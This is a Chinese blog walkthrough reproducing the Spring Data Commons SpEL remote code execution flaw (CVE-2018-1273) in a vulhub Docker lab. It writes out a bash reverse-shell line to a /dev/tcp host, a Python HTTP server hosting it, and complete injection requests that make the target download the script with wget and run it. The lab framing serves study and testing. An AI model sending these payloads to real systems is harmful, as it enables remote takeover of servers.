码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • Spring Data Commons远程命令执行漏洞复现(CVE-2018-1273)


    一、漏洞说明
    Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。此漏洞产生于Spring Data Commons组件,该组件为提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化。

    Spring Data Commons组件中存在远程代码执行漏洞,攻击者可构造包含有恶意代码的SPEL表达式实现远程代码攻击,直接获取服务器控制权限。
    二、影响版本
    Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
    Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
    Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
    Spring Data REST 3.0 - 3.0.5 (Kay SR5)
    三、搭建环境
    cd vulhub/spring/CVE-2018-1273
    docker-compose up -d
    在这里插入图片描述

    四、漏洞复现
    1.准备shell命令
    bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
    写入文件shell.sh
    在这里插入图片描述

    2.开启http服务
    在sh文件所在目录开启http服务
    python -m http.server 8081
    在这里插入图片描述在这里插入图片描述

    3.抓包
    访问http://192.168.25.128:8080/users,注册,BP抓包
    在这里插入图片描述在这里插入图片描述

    4.准备请求包
    Payload:
    username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“【要执行的命令】”)]=&password=&repeatedPassword=
    下载文件请求包:username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“/usr/bin/wget -O /tmp/1.sh http://192.168.155.2:8081/shell.sh”)]&password=test&repeatedPassword=test
    执行命令请求包:
    username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“/bin/bash /tmp/1.sh”)]&password=test&repeatedPassword=test
    5.nc开启监听
    在这里插入图片描述

    6.发送请求包
    发送下载包
    在这里插入图片描述

    发现tmp里出现了1.sh
    在这里插入图片描述在这里插入图片描述

    发送执行包
    在这里插入图片描述

    7.反弹shell
    在这里插入图片描述

    注意:
    wget正确用法:
    使用 -O 选项以其他名称保存下载的文件
    wget -O /usr/software https://download.redis.io/releases/redis-6.0.8.tar.gz

  • 相关阅读:
    Grial UI Kit 4发布,版本4中的新增功能
    RK3399平台开发系列讲解(I/O篇)Linux最大文件数的限制机制
    KT148A语音芯片使用串口uart本控制的完整说明_包含硬件和指令举例
    吴恩达机器学习课程资源(笔记、中英文字幕视频、课后作业,提供百度云镜像!)
    论文《Heterogeneous Temporal Graph Neural Network》阅读
    汇凯金业:黄金5g工艺是什么意思
    php沿河农产品特卖网站的设计与实现毕业设计源码201524
    典型的一次IO的两个阶段是什么?阻塞、非阻塞、同步、异步
    cmake和makefile区别和cmake指定编译器(cmake -G)
    git解决冲突和推送历史版本到指定分支上
  • 原文地址:https://blog.csdn.net/wutiangui/article/details/132790803
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号